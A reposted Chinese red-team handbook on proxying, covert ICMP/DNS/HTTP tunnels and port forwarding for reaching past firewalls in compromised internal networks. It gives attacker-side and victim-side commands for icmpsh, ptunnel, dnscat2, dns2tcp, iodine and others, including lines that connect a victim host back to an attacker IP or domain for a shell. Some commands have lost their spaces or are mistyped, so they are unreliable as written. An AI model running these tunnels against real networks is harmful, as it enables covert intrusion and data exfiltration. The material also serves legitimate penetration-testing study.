【HW前知识库储备】红队渗透手册之代理转发与隧道篇

admin 2021年5月20日19:10:46评论157 views字数 6761阅读22分32秒阅读模式

转自水滴安全实验室



通常会有以下四种情况

【HW前知识库储备】红队渗透手册之代理转发与隧道篇


  1. 内网防火墙对出口流量没有任何端口限制。

  2. 内网的防火墙只配置了入站规则。

  3. 内网防火墙出站入站规则都配置了。

  4. 内网防火墙都配置了出入站规则并且具有协议检测和识别能力且仅允许HTTP流量出去外网。


【HW前知识库储备】红队渗透手册之代理转发与隧道篇

0x01 socks代理服务端篇




        针对第一种情况,由于防火墙对出口流量没有任何端口限制,我们的可选择的方案非常灵活.常用的方法有

  1. 正向连接,将shell转发到某个端口,或者内网主机的端口或者监听SOCKS5端口开始监听,等待外面的攻击者连接(此时,外网的任何人都可以来连接被攻击者的端口)

  2. 向连接,受害者主机通过指定攻击者正在监听的IP和port,将shell或内网端口等转发到攻击者环境,也可实现socks5反向代理。

其中可以用来做socks5代理的工具有:

1. Frp:


frp是一个高性能的反向代理应用,可以轻松地进行内网穿透,对外网提供服务,支持tcp,http,https等协议类型。下载地址:https://github.com/fatedier/frp/releases推荐文章:https://www.jianshu.com/p/e0581ee84323


2. Earthworm(ew)


一套轻量便携且功能强大的网络穿透工具,基于标准C开发,具有socks5代理、端口转发和端口映射三大功能。下载地址:(暂不提供)推荐文章:http://rootkiter.com/EarthWorm/


3. Ssocks


sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试下载地址:(http://sourceforge.net/projects/ssocks/)推荐文章:https://blog.csdn.net/God_XiangYu/article/details/100132929


4. msf做socks代理


推荐文章:https://www.cnblogs.com/dgjnszf/p/12114358.html


 5. CobaltStrike做socks代理


推荐文章:https://www.secshi.com/6575.htms


        针对第二种情况,我们可以反向连接受害者主机,通过指定攻击者正在监听的IP和port,将shell,内网端口等转发到攻击者因为只限制入站流量,出站未做限制,所以做socks代理方法依然适用。


【HW前知识库储备】红队渗透手册之代理转发与隧道篇

0x02 隐蔽隧道篇




        针对第三种和第四种情况, socks代理的方法就受限制,因为端口有限,我们可以选择隐蔽隧道技术,把内网服务器的端口通过http/https,ICMP,DNS隧道转发到本机, 形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用webshell建立一个socks代理进行内网穿透常见的隐蔽隧道工具有以下几种。

一、ICMP隧道

ICMP隧道的原理:基于IP协议,将TCP/UDP数据包封装到ICMP的数据包中,绕过防火墙,实现出网。

ICMP隧道的应用场景:上层协议例如HTTP协议、DNS协议和正反向端口转发都失败时,可以尝试ICMP出网。

ICMP的常用工具:icmpsh、icmptunnel、ptunnel

1、icmpsh

工具安装


git clone https://github.com/inquisb/icmpsh.git #下载地址apt-get install python-impacket                  #安装依赖sysctl -w net.ipv4.icmp_echo_ignore_all=1        #关闭本地的ICMP应答


被攻击者执行


icmpsh.exe -t 攻击者IP


攻击者执行


python icmpsh_m.py 攻击者IP 被攻击者IP


2、icmptunnel

工具安装


git clone https://github.com/jamesbarlow/icmptunnel.gitcd icmptunnelmakesysctl -w net.ipv4.icmp_echo_ignore_all=1        #关闭本地的ICMP应答


攻击者执行


 一个终端执行 ./icmptunnel –s 另一个终端执行 /sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0


被攻击者执行


一个终端执行sysctl -w net.ipv4.icmp_echo_ignore_all=1   ./icmptunnel 攻击者IP 另一个终端执行 /sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0


 3、ptunnel

工具安装


wget https://github.com/esrrhs/pingtunnel/releases(最新的release下载地址)sudo unzip pingtunnel_linux64.zip


攻击者执行


echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_allsudo ./pingtunnel -type server


被攻击者执行


// client, Forward udppingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455
// client, Forward tcppingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455 -tcp 1
// client, Forward sock5, implicitly open tcp, so no target server is neededpingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -sock5 1


二、DNS隧道

DNS隧道的原理:基于UDP协议,将TCP/UDP数据包封装到dns的数据包中,绕过防火墙,实现出网。

DNS隧道的应用场景:上层协议例如HTTP协议、正反向端口转发都失败时,可以尝试DNS协议出网。

DNS的常用工具:dnscat2、dns2tcp、iodine

1、dnscat2工具安装


server端安装:需要ruby环境、安装gem、ruby、dnscat2服务端yum install gemrm /usr/bin/rubywget https://cache.ruby-lang.org/pub/ruby/2.5/ruby-2.5.0.tar.gztar -zxvf ruby-2.5.0.tar.gzcd ruby-2.5.0mkdir -p /usr/local/ruby./configure --prefix=/usr/local/rubymake  && make installln -s /usr/local/ruby/bin/ruby /usr/bin/ruby

git clone https://github.com/iagox86/dnscat2.gitcd /servergem install bunlderln /usr/local/ruby/bin/bunlder /usr/bin/bunlderbunlder install
客户端安装:下载地主:https://downloads.skullsecurity.org/dnscat2/powershell客户端:https://codeload.github.com/lukebaggett/dnscat2-powershell/zip/master


攻击者执行


ruby dnscat2.rb yourdomain.****.top -e open -c password --no-cache


被攻击者执行


./dnscat --secret=password yourdomain.target.com


2、dns2tcp

工具安装


su - #进入root用户apt-get install updateapt-get install dns2tcp #实际上是同时安装了dns2tcp的客户端和服务端
windows客户端:https://pan.baidu.com/s/1w-dpn0US9SmfjqdXuHS4aA提取码: tkgd)


攻击者执行


dns2tcpd -f /etc/dns2tcpd.conf -F -d 2


被攻击者执行


./dns2tcpc.exe -r c2 -z dnsc2.test.com target_ip -l 5353 -d 2


3、iodine

工具安装


sudo apt-get install iodine


攻击者执行


sudo iodined -c -P 123pass ClientIP(客户端IP) domain.com -DDD


被攻击者执行


sudo iodine -f -P 123pass serverIP(服务器IP) domain.com -r


三、HTTP隧道工具篇

HTTP隧道的原理:基于HTTP协议,将TCP/UDP数据包封装到HTTP的数据包中,绕过防火墙,实现出网。

HTTP隧道的应用场景:只允许HTTP协议出网,复用WEB端口。

HTTP隧道的常用工具:Reduh、Tunna、reGeorg、Weevely、ABPTTS

1. Reduh


使用条件:1.获取目标服务器webshell,且可以上传reDuh服务端对应脚本文件。2.知道目标服务器开放的内网端口,如远程桌面的端口是33893.目标服务器网络做了端口策略限制,只允许外部访问内网的80等特定端口。下载链接:https://github.com/sensepost/reDuh               参考链接:https://www.jianshu.com/p/cd3dae49385d


2. Tunna


一款神奇的工具,它可以通过HTTP封装隧道通信任何TCP,以及用于绕过防火墙环境中的网络限制。 注:Tunna代理并不是非常稳定,经常出现掉线情况,尤其是使用Tunna代理远程连接的流量时,经常掉线。但是使用Tunna访问内网web服务还算稳定。下载链接:https://github.com/SECFORCE/Tunna参考链接:https://blog.csdn.net/limb0/article/details/103856835


3. reGeorg


reGeorg是reDuh的升级版下载链接:https://github.com/sensepost/reGeorg参考链接:https://blog.csdn.net/qq_17204441/article/details/88834095


4. Weevely


weevely是一款使用python编写的webshell工具,集webshell生成和连接于一身,采用c/s模式构建,可以算作是linux下的一款php菜刀替代工具,具有很好的隐蔽性(生成随机参数且base64加密),在linux上使用时还是很给力的(集服务器错误配置审计,后门放置,暴力破解,文件管理,资源搜索,网络代理,命令执行,数据库操作,系统信息收集及端口扫描等功能)下载地址:http://epinna.github.com/Weevely/参考链接:https://www.cnblogs.com/lingerhk/p/4009073.html


5. ABPTTS


Abptts是一款基于python2.7的http加密隧道工具,Abptts能做的很多,缺点是不支持PHP通过http加密隧道转发至目标内网下指定的单个TCP端口通过http加密隧道同时转发至目标内网下的多台机器上的多个tcp端口把ssh隧道包裹在http加密隧道中传递,对目标二级内网进行穿透
下载地址:https://github.com/nccgroup/ABPTTS.git参考链接:https://blog.csdn.net/include_heqile/article/details/85008629
【HW前知识库储备】红队渗透手册之代理转发与隧道篇

0x03 端口转发篇




        理论上,任何接入互联网的计算机都是可访问的,但如果目标主机在内网中,我们又想和该目标主机进行通信的话,除了做socks代理和http隧道外,我们还可以使用端口转发的方法来与目标主机进行通信。

文章开始提到的四种场景,前三种场景都是有常用的端口转发工具的。

1. Frp


下载地址:https://github.com/fatedier/frp/releases参考链接:http://www.secflag.com/archives/373.html


2. Msf+Portfwd


参考链接:https://blog.csdn.net/DarkHQ/article/details/80411158


3. Lcx


lcx是一款强大的内网端口转发工具,已经被杀毒软件列为木马,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口. 它是一款命令行工具,当然也可以在有权限的webshell下执行,正因如此lcx常被认为是一款黑客入侵工具,lcx在内网入侵渗透中起着重要的角色。lcx进行端口转发的原理就是使不同端口之间形成一个回路。它常用于外网连接内网3389等端口。下载地址:自行搜索引擎参考链接:https://blog.bbskali.cn/356.html


4. Socat


下载地址:http://www.dest-unreach.org/socat/参考链接:https://www.cnblogs.com/iamlehaha/p/6540695.html


5. SSH


#本地端口转发:ssh-CfNg-Lport1:127.0.0.1:port2user@host参数:-L本地网卡地址:本地端口:目标地址:目标端口
#远程端口转发:ssh-CfNg-Rport2:127.0.0.1:port1user@hsst参数:-R远程网卡地址:远程端口:目标地址:目标端口
#动态端口转发ssh-Dlocalhost:[email protected]参数:-D本地网卡地址:本地端口


6. Netsh


netsh是windows下提供网络管理的命令行工具,它是一个交互式的shell,涉及到上下文的概念。我们在交互式下面进入相应的上下文,进行参数的设置。也可以直接下面这样非交互式的进行端口转发。`netshinterfaceipv6install#转发netshinterfaceportproxyaddv4tov4listenaddress=10.10.18.1listenport=4455connectaddress=10.10.12.1connectport=8080
#删除转发netshinterfaceportproxydeletev4tov4listenaddress={B的IP}listenport={B的端口}
【HW前知识库储备】红队渗透手册之代理转发与隧道篇

0x04 socks代理客户端




        在做好socks代理以后,我们需要使用socks客户端挂上代理,才能访问目标环境,在这里说一下个人的配置, 小编工作机为mac,socks代理客户端图形化工具使用proxifier,命令行工具使用proxychains4,另外我比较喜欢单独配置,burpsuite走代理就在burpsuite配置,终端走代理就在终端配置代理,浏览器需要走代理就在浏览器配置代理。

1.proxychains 需要修改mac的配置


修改配置参考链接:https://zhuanlan.zhihu.com/p/21281236使用方法参考链接:https://www.cnblogs.com/wyet/p/7868395.html


2.proxifier 这个工具好用,跨平台使用


参考链接:http://www.hopol.cn/2018/05/1142/


3 burpsuite 挂socks代理


参考链接:https://www.cnblogs.com/hookjoy/p/10759555.html


4 chrome 挂socks代理


插件:SwitchyOmega


5 终端走代理


挂代理命令alias proxy='export all_proxy=socks5://127.0.0.1:1086'取消代理命令alias unproxy='unset all_proxy



【HW前知识库储备】红队渗透手册之代理转发与隧道篇


一如既往的学习,一如既往的整理,一如即往的分享。感谢支持【HW前知识库储备】红队渗透手册之代理转发与隧道篇

“如侵权请私聊公众号删文”



扫描关注LemonSec

【HW前知识库储备】红队渗透手册之代理转发与隧道篇

觉得不错点个“赞”、“在看”哦【HW前知识库储备】红队渗透手册之代理转发与隧道篇

本文始发于微信公众号(LemonSec):【HW前知识库储备】红队渗透手册之代理转发与隧道篇

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月20日19:10:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【HW前知识库储备】红队渗透手册之代理转发与隧道篇https://cn-sec.com/archives/287323.html

发表评论

匿名网友 填写信息